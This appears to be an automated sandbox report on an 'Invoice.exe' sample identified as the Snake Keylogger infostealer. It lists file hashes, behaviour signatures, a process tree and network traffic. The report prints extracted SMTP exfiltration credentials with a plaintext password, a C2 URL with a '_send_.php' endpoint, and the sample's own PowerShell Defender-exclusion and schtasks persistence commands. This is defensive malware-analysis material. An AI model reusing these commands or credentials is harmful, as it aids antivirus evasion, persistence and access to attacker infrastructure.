Overview

overview

10

Static

static

3

Invoice.exe

windows7-x64

10

Invoice.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    135s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/05/2024, 13:28 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Invoice.exe

  • Size

    557KB

  • MD5

    7ccea594742ef8616d4329ae4b13d65f

  • SHA1

    2cc66eb1781ca1389e5b961f6904ba819770cf62

  • SHA256

    3235c0cc1e4c983e8e11ad3f9fe6af66cf5cda2d4f4730f84cd290d877136b6c

  • SHA512

    59eef8e1cbedf34393b262f3d84e61a67e552db3ce8d95c492d5559449694d2d6324882c84b844d496b2ae9a7a81dd42df81b6a0a4ff74a8c02e964a680d4a3d

  • SSDEEP

    12288:dVTlZnKl3tPs75yJfVtHNrx8ACBUtjKxisU9zJDs1K4YJHg6gi/:nZZKlCYJdBN98AC65izUrow9H+i

Score
10/10
snakekeyloggercollectionexecutionkeyloggerspywarestealer

Malware Config

Extracted

Credentials

  • Protocol:     smtp
  • Host:
    mail.speedhouseoman.com
  • Port:
    587
  • Username:
    operational@speedhouseoman.com
  • Password:
    SpH@0084

Extracted

Family

snakekeylogger

Credentials

  • Protocol:     smtp
  • Host:
    mail.speedhouseoman.com
  • Port:
    587
  • Username:
    operational@speedhouseoman.com
  • Password:
    SpH@0084
C2

https://scratchdreams.tk

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

    stealerkeyloggersnakekeylogger
  • Snake Keylogger payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Invoice.exe
    "C:\Users\Admin\AppData\Local\Temp\Invoice.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\xHctVCfBs.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4388
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xHctVCfBs" /XML "C:\Users\Admin\AppData\Local\Temp\tmp12B8.tmp"
      2⤵
      • Creates scheduled task(s)
      PID:3736
    • C:\Users\Admin\AppData\Local\Temp\Invoice.exe
      "C:\Users\Admin\AppData\Local\Temp\Invoice.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:1360
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4256,i,18168883380598738769,14202261231630113808,262144 --variations-seed-version --mojo-platform-channel-handle=1036 /prefetch:8
    1⤵
      PID:1612

    Network

    • flag-us
      DNS
      8.8.8.8.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      8.8.8.8.in-addr.arpa
      IN PTR
      Response
      8.8.8.8.in-addr.arpa
      IN PTR
      dnsgoogle
    • flag-us
      DNS
      8.8.8.8.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      8.8.8.8.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      g.bing.com
      Remote address:
      8.8.8.8:53
      Request
      g.bing.com
      IN A
      Response
      g.bing.com
      IN CNAME
      g-bing-com.dual-a-0034.a-msedge.net
      g-bing-com.dual-a-0034.a-msedge.net
      IN CNAME
      dual-a-0034.a-msedge.net
      dual-a-0034.a-msedge.net
      IN A
      204.79.197.237
      dual-a-0034.a-msedge.net
      IN A
      13.107.21.237
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=
      Remote address:
      204.79.197.237:443
      Request
      GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      set-cookie: MUID=1ABA7EC2482B643F1E1E6A4B49906513; domain=.bing.com; expires=Wed, 18-Jun-2025 13:28:49 GMT; path=/; SameSite=None; Secure; Priority=High;
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 52B0E5CF116149D8906CA0CE2CA044C4 Ref B: LON04EDGE0922 Ref C: 2024-05-24T13:28:49Z
      date: Fri, 24 May 2024 13:28:49 GMT
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=
      Remote address:
      204.79.197.237:443
      Request
      GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      cookie: MUID=1ABA7EC2482B643F1E1E6A4B49906513
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      set-cookie: MSPTC=mzysalkgmnmz-Bqgcwsx0tqICHLIpaxrybzqaTg77Ow; domain=.bing.com; expires=Wed, 18-Jun-2025 13:28:49 GMT; path=/; Partitioned; secure; SameSite=None
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 3E2E70D5954D457E84DB04AFC47F96EF Ref B: LON04EDGE0922 Ref C: 2024-05-24T13:28:49Z
      date: Fri, 24 May 2024 13:28:49 GMT
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=
      Remote address:
      204.79.197.237:443
      Request
      GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      cookie: MUID=1ABA7EC2482B643F1E1E6A4B49906513; MSPTC=mzysalkgmnmz-Bqgcwsx0tqICHLIpaxrybzqaTg77Ow
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 8F9219D6079F436B98B94BBDE72836FA Ref B: LON04EDGE0922 Ref C: 2024-05-24T13:28:49Z
      date: Fri, 24 May 2024 13:28:49 GMT
    • flag-us
      DNS
      237.197.79.204.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      237.197.79.204.in-addr.arpa
      IN PTR
      Response
    • flag-nl
      GET
      https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90
      Remote address:
      23.62.61.194:443
      Request
      GET /th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/2.0
      host: www.bing.com
      accept: */*
      cookie: MUID=1ABA7EC2482B643F1E1E6A4B49906513; MSPTC=mzysalkgmnmz-Bqgcwsx0tqICHLIpaxrybzqaTg77Ow
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-type: image/png
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      content-length: 1107
      date: Fri, 24 May 2024 13:28:50 GMT
      alt-svc: h3=":443"; ma=93600
      x-cdn-traceid: 0.be3d3e17.1716557330.1a85412b
    • flag-us
      DNS
      172.210.232.199.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      172.210.232.199.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      17.160.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      17.160.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      232.168.11.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      232.168.11.51.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      232.168.11.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      232.168.11.51.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      232.168.11.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      232.168.11.51.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      26.35.223.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.35.223.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      26.35.223.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.35.223.20.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      26.35.223.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.35.223.20.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      194.61.62.23.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      194.61.62.23.in-addr.arpa
      IN PTR
      Response
      194.61.62.23.in-addr.arpa
      IN PTR
      a23-62-61-194deploystaticakamaitechnologiescom
    • flag-us
      DNS
      13.86.106.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      13.86.106.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      checkip.dyndns.org
      Invoice.exe
      Remote address:
      8.8.8.8:53
      Request
      checkip.dyndns.org
      IN A
      Response
      checkip.dyndns.org
      IN CNAME
      checkip.dyndns.com
      checkip.dyndns.com
      IN A
      132.226.247.73
      checkip.dyndns.com
      IN A
      193.122.130.0
      checkip.dyndns.com
      IN A
      158.101.44.242
      checkip.dyndns.com
      IN A
      132.226.8.169
      checkip.dyndns.com
      IN A
      193.122.6.168
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:01 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 1d65320d9653a1cd0114d2542e4d5b41
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:01 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 2faa544802db5d5d45f61d7f8a5b43fe
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:02 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: e7affb64ce83b67fcd69954f5fea84d2
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 482794c9269c217d328b8810ffb91e90
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 6ea591b6a3a69c455b77d6ca12d37225
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 440babba75d724b54f6f7539131482bb
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 5cb176191c0f9365672a6f978e27638d
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 3a6cf8c94f83872794e62cab864d74b4
    • flag-br
      GET
      http://checkip.dyndns.org/
      Invoice.exe
      Remote address:
      132.226.247.73:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:04 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 965e8f6af22332934d5b20be911c2770
    • flag-us
      DNS
      73.247.226.132.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      73.247.226.132.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      reallyfreegeoip.org
      Invoice.exe
      Remote address:
      8.8.8.8:53
      Request
      reallyfreegeoip.org
      IN A
      Response
      reallyfreegeoip.org
      IN A
      104.21.67.152
      reallyfreegeoip.org
      IN A
      172.67.177.134
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:02 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44023
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8lwJ1gJ1EO1gmjzlQ77vpTYjOThVbCPZAsze4cu5GLFEZedsvjgY5dq8F%2BbCxRrZQnlxp834rjKrkCmGvZHYDAk32uNVGnIyFIHhpGoUoxHqqp4P3ialbYtE2H6BzbrwO3Fe83A"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1df9be20726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:02 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44023
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=813c8U46OnODxUarAgfVxKF8sTxIv1JjxLEV7KMizhbUxfvvmnbuWbaIDt08ZKrBYHU%2B4vDvlLcu6FOAzpBEb4rDY%2Bcp7AW7sqTDUdfBZ1757JXqZ8xJ0wBM%2FR4A6REVezAJU5Xd"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e12cdd0726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44024
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FYhMn%2B0gXCxry%2BKbBnDINYE5IkyXALKn%2Fw8LBTZ0m3MizzqM7XUxa5MIb14sSHDmEg87S0D%2FLTP9wqkmJdzopSjYwf0SQ9Z3u%2FErNuKEyWdNDwF4SRhXkGW3Pax%2FhvdKLpa%2Bdw3E"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e2adad0726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44024
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HvOGgFyFy14VrrOPTnf3BN7%2FgjeYWBzjRbWs%2BDBZ0ch%2FUzj3HN6RVhW5sNoJCq35e8W2uEQ8BKnf9G9B3XN2lGg7vuKhinWPIPfRuoNgz5HUCILu3bHyFaMVJPCAw3d4mbyQOR17"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e41e940726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44024
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TpcN5VPi8ItUERjIAssrdife9OWU7HgtK9Q2y1uu0w7Lp%2BcFbcbAXuCJPAnlkr9F1%2Fiuxc8NY%2FVZNEUYdhtI1T33iIoN5q%2BLOOCHXztYjg7dlaeq4YEjqCbNkqQ%2Bw0r%2FifF36q8X"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e59f7e0726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:03 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44024
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PjOWXdbdLYIaKL%2B2W29Q%2FNdxRO9UlssZ49QdJC3T%2BXAAzaFhuw3FeOYQ1zWWluibv15JN0tFqc3bCumDgh%2Fc3X8cCra0eIBu206IEmsGHVkQyyO0chV3QEw85jfvmmnI4YXqOp6v"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e7187a0726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:04 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44025
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qUj8W7IEvE46R1DKOXuUbpQiRwwMV3%2FUIR4ZWtmQZMIBhGoLrWwTYXJZgbf4HdLeIktBMUpc%2Bqaf21vuMwwfOooxhEvT9Z6ShF9BPDj1SDjlK3YjFu2MTrMYpjrMAxLNb0%2F2CGST"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1e8997b0726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/191.101.209.39
      Invoice.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/191.101.209.39 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Fri, 24 May 2024 13:29:04 GMT
      Content-Type: application/xml
      Transfer-Encoding: chunked
      Connection: keep-alive
      access-control-allow-origin: *
      vary: Accept-Encoding
      Cache-Control: max-age=86400
      CF-Cache-Status: HIT
      Age: 44025
      Last-Modified: Fri, 24 May 2024 01:15:19 GMT
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1gVNO3xy%2BwsJ%2B6HLhMKKJs%2FWZmK9yVgnWe56VDk8UoDLBEMIwMHmzbFinyuqI961BFrATQBorDsfoNJTN46twxp2WwCqS9cVY6uLzTw%2BC5KMvU%2FQRFRc2JPsD1sijOjcMIL9yqj"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 888da1ea1a760726-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      DNS
      152.67.21.104.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      152.67.21.104.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      scratchdreams.tk
      Invoice.exe
      Remote address:
      8.8.8.8:53
      Request
      scratchdreams.tk
      IN A
      Response
      scratchdreams.tk
      IN A
      188.114.97.2
      scratchdreams.tk
      IN A
      188.114.96.2
    • flag-us
      GET
      https://scratchdreams.tk/_send_.php?TS
      Invoice.exe
      Remote address:
      188.114.97.2:443
      Request
      GET /_send_.php?TS HTTP/1.1
      Host: scratchdreams.tk
      Connection: Keep-Alive
      Response
      HTTP/1.1 522
      Date: Fri, 24 May 2024 13:29:43 GMT
      Content-Type: text/plain; charset=UTF-8
      Content-Length: 15
      Connection: keep-alive
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6263ai36OIvxH59g%2BKkHku1HDww5zCWwD2bcuq6dnkl3sj9J%2Bqnpcd1p%2FR7Jo9EJDE4t7uAtsgtCkOs5B8Zoq%2BSL5iiKzwg18l9c3zQqh2aZ4KWLgqqYM6nWS6NppvWS7rs0"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      X-Frame-Options: SAMEORIGIN
      Referrer-Policy: same-origin
      Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
      Expires: Thu, 01 Jan 1970 00:00:01 GMT
